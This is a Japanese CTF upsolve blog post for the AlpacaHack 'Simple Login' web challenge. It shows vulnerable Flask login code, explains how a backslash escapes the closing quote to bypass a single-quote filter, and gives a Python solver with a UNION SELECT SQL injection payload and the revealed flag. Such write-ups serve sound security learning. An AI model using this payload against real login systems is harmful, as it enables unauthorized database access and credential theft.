ctf upsolve by kodai Advent Calendar 2025のDay6(???)の記事になります。
夜に書こうと思って寝落ちしたら、気づいた時には次の日でした。
よって1日遅れ(2日遅れ)にはなりますが、upsolveやっていきたいと思います。
取り扱った問題
AlpacaHack Round 2 (Web) Simple Login
Author: ark
upsolve
URLにアクセスするとNameとPasswordを要求されるシンプルなログイン画面が与えられます。

以下がサーバ側のソースコードです
from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os
def db():
return pymysql.connect(
host=os.environ["MYSQL_HOST"],
user=os.environ["MYSQL_USER"],
password=os.environ["MYSQL_PASSWORD"],
database=os.environ["MYSQL_DATABASE"],
charset="utf8mb4",
cursorclass=pymysql.cursors.DictCursor,
)
app = Flask(__name__)
@app.get("/")
def index():
if "username" not in request.cookies:
return redirect("/login")
return render_template("index.html", username=request.cookies["username"])
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username is None or password is None:
return "Missing required parameters", 400
if len(username) > 64 or len(password) > 64:
return "Too long parameters", 400
if "'" in username or "'" in password:
return "Do not try SQL injection 🤗", 400
conn = None
try:
conn = db()
with conn.cursor() as cursor:
cursor.execute(
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)
user = cursor.fetchone()
except Exception as e:
return f"Error: {e}", 500
finally:
if conn is not None:
conn.close()
if user is None or "username" not in user:
return "No user", 400
response = redirect("/")
response.set_cookie("username", user["username"])
return response
else:
return render_template("login.html")
サーバ側で叩かれているSQLを見ると、SQL文をそのまま叩くことができます。
cursor.execute(
f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
)
しかしユーザとパスワード入力には以下の制限がかかっています。
- usernameかpasswordに存在すると
400エラー - usernameかpasswordの長さが64より大きいと
400エラー -
'が含まれていると、Do not try SQL injection 🤗が返ってくる
'を使わずにSQL Injectionを引き起こすことができれば良さそうです。
FLAGはflagテーブルにあります
USE chall;
DROP TABLE IF EXISTS flag;
CREATE TABLE IF NOT EXISTS flag (
value VARCHAR(128) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;
-- On the remote server, a real flag is inserted.
INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
username VARCHAR(16) PRIMARY KEY,
password VARCHAR(16) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;
INSERT INTO users (username, password) VALUES ('admin', 'pass');
INSERT INTO users (username, password) VALUES ('hacker', '1337');
'をどうにか使うことができないか調べて見ると、ドキュメントに以下のような記述がありました
文字列に引用符を含める方法は、いくつかあります。
'で引用符で囲まれた文字列内の'は、''として記述できます。
"で引用符で囲まれた文字列内の"は、""として記述できます。
引用符文字の直前にエスケープ文字 () を指定します。
"で引用符で囲まれた文字列内の'は特別な処理を必要とせず、二重にしたりエスケープしたりする必要はありません。 同様に、'で引用符で囲まれた文字列内の"では、特別な処理は必要ありません。
ドキュメント : https://dev.mysql.com/doc/refman/8.0/ja/string-literals.html
つまり\'は'と認識させることができます。
SELECT * FROM users WHERE username = '\' AND password = 'password'
このように入力すると、\' AND password = ' がただの文字列として扱われるため、flagを呼び出すところは文字列の外に出ます。後はこれを使ってUNION句でSQL文を結合します。
以下がsolverです。
#!/usr/bin/env python3
import os
import httpx
TARGET = os.getenv("TARGET", "http://34.170.146.252:8793")
def main():
client = httpx.Client(base_url=TARGET, timeout=10.0)
data = {
"username": "\\",
"password": "UNION SELECT value, value FROM flag -- ",
}
res = client.post(
"/login",
data=data,
follow_redirects=True,
)
print("[*] status:", res.status_code)
print("[*] body:")
print(res.text)
if __name__ == "__main__":
main()
すると以下のレスポンスが返ってきます。
[*] status: 200
[*] body:
<!DOCTYPE html>
<html>
<head>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/@picocss/pico@2/css/pico.classless.min.css"
/>
<title>Simple Login</title>
</head>
<body>
<main>
<h1>Simple Login</h1>
<p>Hello, Alpaca{SQLi_with0ut_5ingle_quot3s!}</p>
<marquee scrollamount="16" direction="right">
Logged in successfully🎉
</marquee>
</main>
</body>
</html>
FLAG : Alpaca{SQLi_with0ut_5ingle_quot3s!}